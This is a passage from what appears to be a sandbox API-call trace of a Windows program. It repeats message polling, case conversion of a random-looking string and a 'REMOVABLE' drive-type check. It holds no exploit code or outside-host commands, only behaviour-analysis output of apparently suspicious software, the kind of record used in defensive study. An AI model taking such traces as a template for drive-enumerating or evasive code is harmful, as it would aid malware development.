0 [0170.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.737] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.738] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.738] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.738] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.739] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.739] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.740] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.740] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.740] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.740] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.740] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.740] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.740] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.740] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.740] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.740] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.741] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.824] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.824] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.824] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.825] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.825] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.825] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.826] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.826] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.826] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.826] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.827] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.827] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.828] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.828] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.828] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.828] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.828] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.829] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.829] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.829] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.829] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.830] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.830] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.830] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.830] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.831] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.831] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.831] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.831] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.831] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.831] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.832] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.832] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.832] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.833] PeekMessageW 